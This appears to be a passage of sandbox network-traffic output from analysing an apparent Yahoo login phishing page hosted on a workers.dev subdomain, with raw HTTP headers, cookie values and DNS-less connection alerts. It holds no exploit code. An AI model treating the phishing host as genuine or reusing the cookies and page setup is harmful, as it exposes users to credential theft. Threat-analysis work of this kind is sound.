Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: yhs-world-aged-dust-4671.aubrey744.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/jquery.session@1.0.0/jquery.session.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s.yimg.com/wm/mbr/53b2a2316b6797357929f67e8e301a70f6482597/yahoo-main.css HTTP/1.1Host: validated.web.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/mbr/images/checkbox-checked.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://validated.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?c1=2&c2=7241469&c5=794416018&ns_c=UTF-8&ns__t=1605204367576&c7=https%3A%2F%2Flogin.yahoo.com%2F&c14=-1 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Semibold.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://validated.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://validated.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Medium.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://validated.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Bold.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://validated.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p2?c1=2&c2=7241469&c5=794416018&ns_c=UTF-8&ns__t=1605204367576&c7=https%3A%2F%2Flogin.yahoo.com%2F&c14=-1 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1D48bace37dc6f510e89ade1714257697; PID=1F88bace37f79f510e89c911714257697; XID=1D48bace37dc6f510e89ade1714257697
Source: global traffic	HTTP traffic detected: GET /wm/mbr/images/checkbox-checked.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: yhs-world-aged-dust-4671.aubrey744.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __session:0.5144773229173938:=https:
Source: global traffic	HTTP traffic detected: GET /p2?c1=2&c2=7241469&c5=794416018&ns_c=UTF-8&ns__t=1605204367576&c7=https%3A%2F%2Flogin.yahoo.com%2F&c14=-1 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1D48bace37dc6f510e89ade1714257697
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: yhs-world-aged-dust-4671.aubrey744.workers.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __session:0.5144773229173938:=https:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /info/p.gif?apptype=default&beaconType=pageRenderStart&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&device=desktop&intl=us&rid=1sbetl5j2qvpa&site=fp&t=1714257706529 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
Source: global traffic	HTTP traffic detected: GET /info/p.gif?apptype=default&beaconType=pageRenderEnd&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&device=desktop&intl=us&rid=1sbetl5j2qvpa&site=fp&t=1714257706531 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
Source: global traffic	HTTP traffic detected: GET /pv/static/ms/trendingNow.yhome-atomic.c16f97f81be530fa2b48a1ffeffd4678.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/GYWgpG844cdsv4JJfKMGEw--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/3d089b898ea7ad8da5d544de2d15a0d8.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/PJdo7utph8z9acJAz2ZC0g--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/582532c0-04d6-11ef-bc7b-7987492849bc.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/cerebro_min.js HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
